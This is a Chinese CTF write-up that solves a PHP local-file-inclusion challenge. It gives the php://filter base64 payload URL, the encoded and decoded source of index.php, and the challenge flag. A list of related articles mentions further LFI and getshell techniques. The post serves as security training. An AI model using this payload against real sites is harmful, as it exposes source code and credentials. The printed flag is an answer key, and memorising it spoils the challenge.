CG-CTF web(文件包含漏洞)

参考链接:https://blog.csdn.net/qq_34072526/article/details/89431431

php://filter 的使用:

参考链接:https://blog.csdn.net/destiny1507/article/details/82347371

php://filter 的应用:

1、利用base64获得源码

2、通过读写编码实行绕过操作

打开链接为下

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

搜索以后发现:

“简单的文件包含,当发现url中有?file=字样时可以修改后面为?file=php://filter/convert.base64-encode/resource=xxx.php来查看对应文件源码”

这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到flag;

所以构造:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到:

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmK

CEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC

9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0

cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7C

gkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0

KCj8+CjwvaHRtbD4=

经在线网站base64解码后得:

<html>
    <title>asdf</title>
   
<?php
 error_reporting(0);
 if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
 $file=$_GET['file'];
 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
  echo "Oh no!";
  exit();
 }
 include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>

文件包含lfi的更多相关文章

  1. 本地文件包含(LFI)漏洞

    PHP file://封装 PHP php://filter PHP ZIP封装LFI 通过/proc/self/environ执行LFI 空字节技术 截断LFI绕过 通过邮件给目标机器发送一个反弹s ...

  2. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

  3. PHP:文件包含漏洞

    简单记录一些文件包含漏洞的常用方法 产生原因: 文件包含漏洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 ...

  4. php本地文件包含 Writeup

    目录 本地文件包含 LFI本地文件包含案例一 LFI本地文件包含案例二 本地文件包含简介 文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码. ...

  5. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

  6. 渗透测试之本地文件包含(LFI)

    一.本地文件包含 本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell. 看见?page=标志性注入点,提示我们输入?=pag ...

  7. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  8. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  9. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

随机推荐

  1. 构造方法(_ _construct) 和析构方法(__destruct)

    构造方法,是一个特殊的方法: 1,名字是固定的:_ _construct: 2,该方法通常都不要我们自己调用,而是在new一个对象的时候会自动调用. 3,该方法主要的目的是为了在new一个对象的时候, ...

  2. day40

    session / cookies : 会话跟踪技术是Cookie与Session 会话(Session)跟踪是Web程序中常用的技术,用来跟踪用户的整个会话. Cookie通过在客户端记录信息确定用 ...

  3. K8s的存储卷使用总结

    K8s的存储卷: 它有四种存储卷: 1. emptyDir: 空目录,这种存储卷会随着Pod的删除而被清空,它一般作为缓存目录使用,或临时目录, 当做缓存目录时,通常会将一块内存空间映射到该目录上,让 ...

  4. 无法导入cv2模块(Python 3.6)

    C:\Users\leahj>C:\Users\leahj\AppData\Local\Programs\Python\Python36\Scripts\pip3 install cv2 Col ...

  5. linux 排查cpu负载过高异常

    步骤一.找到最耗CPU的进程 工具:top 方法: 执行top -c ,显示进程运行信息列表 键入P (大写p),进程按照CPU使用率排序 图示: 如上图,最耗CPU的进程PID为10765 步骤二: ...

  6. BigDecimal初始化不要用double类型

    在进行单价.总价相关的计算时,就会用到BigDecimal. 在初始化时,一个不小心,就可能给自己挖坑. 示例如下: public class BigDecimalInitTest { public ...

  7. 仅当使用了列列表并且 IDENTITY_INSERT 为 ON 时,才能为表'TableName'中的标识列指定显式值

    当某表的一个列为自动增长列,是无法直接通过insert语句向给字段写入指定值,解决方法: SET IDENTITY_INSERT TABLE_NAME ON; INSERT INTO TABLE_NA ...

  8. sql server 使用链接服务器远程查询

    --PKselect * from sys.key_constraints where object_id = OBJECT_ID('TB')--FKselect * from sys.foreign ...

  9. buddo源码分析-transport组件之Netty(一)

    dubbo 2.5.10 版本,netty仍然使用的是netty的3.10.5版本,我们从下面的代码可以看出,SPI默认使用的是“netty”,而不是“netty4”. package com.ali ...

  10. javascript prototype理解

    如图比较好的阐述了prototype和__proto__ 简单的可以这么理解: 狗类A( function foo()),狗类A的模板描述:A.模板 (foo.prototype)是一个对象objec ...